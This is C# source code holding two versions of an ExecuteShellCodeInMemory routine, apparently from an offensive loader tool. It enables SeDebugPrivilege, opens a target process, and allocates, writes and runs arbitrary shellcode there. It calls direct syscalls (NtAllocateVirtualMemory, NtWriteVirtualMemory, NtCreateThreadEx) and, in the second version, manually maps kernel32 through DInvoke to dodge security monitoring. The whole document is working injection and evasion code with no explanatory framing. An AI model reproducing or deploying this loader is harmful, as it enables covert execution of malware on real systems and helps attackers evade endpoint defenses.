private static unsafe void ExecuteShellCodeInMemory(object args) { var parameterArguments = (object[])args; var sc = (byte[])parameterArguments[0]; var sysCall = (SysCallManager)parameterArguments[1]; var pid = (int)parameterArguments[2]; var handle = Process.GetCurrentProcess().Handle; if (pid != -1) { var token = IntPtr.Zero; Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges, out token, sysCall); var l = new List <string>(); l.Add("SeDebugPrivilege"); Utils.EnablePrivileges(token, l); Utils.GetProcessHandle(pid, out handle, Utils.ProcessAccessFlags.CreateThread | Utils.ProcessAccessFlags.QueryInformation | Utils.ProcessAccessFlags.VirtualMemoryOperation | Utils.ProcessAccessFlags.VirtualMemoryWrite | Utils.ProcessAccessFlags.VirtualMemoryRead, sysCall); } try { var baseAddress = IntPtr.Zero; var shellCode = sysCall.GetSysCallAsm("NtAllocateVirtualMemory"); var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory)); var arguments = new object[] { handle, baseAddress, (uint)0, (UIntPtr)(sc.Length + 1), AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); if ((int)returnValue != 0) { return; } baseAddress = (IntPtr)arguments[1]; //required! shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory"); shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory)); arguments = new object[] { handle, baseAddress, sc, (UIntPtr)(sc.Length + 1), IntPtr.Zero }; returnValue = sysCallDelegate.DynamicInvoke(arguments); baseAddress = (IntPtr)arguments[1]; if ((int)returnValue != 0) { return; } var a = new MyBuffer64(); var b = new MyBuffer64(); var u = new Unknown64(); u.Size = (uint)Marshal.SizeOf(u); u.Unknown1 = 65539; u.Unknown2 = 16; u.UnknownPtr = &a; u.Unknown4 = 65540; u.Unknown5 = 8; u.Unknown6 = 0; u.UnknownPtr2 = &b; u.Unknown3 = 0; shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx"); shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64)); arguments = new object[] { IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong)0, (ulong)0, (ulong)0, u }; returnValue = sysCallDelegate.DynamicInvoke(arguments); } catch { } }
private static unsafe void ExecuteShellCodeInMemory(object args) { var parameterArguments = (object[])args; var sc = (byte[])parameterArguments[0]; var sysCall = (SysCallManager)parameterArguments[1]; var pid = (int)parameterArguments[2]; var handle = Process.GetCurrentProcess().Handle; if (pid != -1) { var token = IntPtr.Zero; Utils.GetProcessToken(Process.GetCurrentProcess().Handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustPrivileges, out token, sysCall); var l = new List <string>(); l.Add("SeDebugPrivilege"); Utils.EnablePrivileges(token, l, sysCall); Utils.GetProcessHandle(pid, out handle, DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_CREATE_THREAD | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_OPERATION | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_WRITE | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_READ, sysCall); } try { var baseAddress = IntPtr.Zero; var shellCode = sysCall.GetSysCallAsm("NtAllocateVirtualMemory"); DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory)); var arguments = new object[] { handle, baseAddress, (uint)0, (UIntPtr)(sc.Length + 1), DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite }; uint oldProtect = 0; object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect }; IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); var returnValue = sysCallDelegate.DynamicInvoke(arguments); if ((int)returnValue != 0) { return; } baseAddress = (IntPtr)arguments[1]; shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory"); object[] virtualAlloc2 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc2); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory)); arguments = new object[] { handle, baseAddress, sc, (UIntPtr)(sc.Length + 1), IntPtr.Zero }; parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect }; response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); returnValue = sysCallDelegate.DynamicInvoke(arguments); baseAddress = (IntPtr)arguments[1]; if ((int)returnValue != 0) { return; } var a = new MyBuffer64(); var b = new MyBuffer64(); var u = new Unknown64(); u.Size = (uint)Marshal.SizeOf(u); u.Unknown1 = 65539; u.Unknown2 = 16; u.UnknownPtr = &a; u.Unknown4 = 65540; u.Unknown5 = 8; u.Unknown6 = 0; u.UnknownPtr2 = &b; u.Unknown3 = 0; shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx"); object[] virtualAlloc3 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc3); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64)); arguments = new object[] { IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong)0, (ulong)0, (ulong)0, u }; parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect }; response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); returnValue = sysCallDelegate.DynamicInvoke(arguments); } catch { } }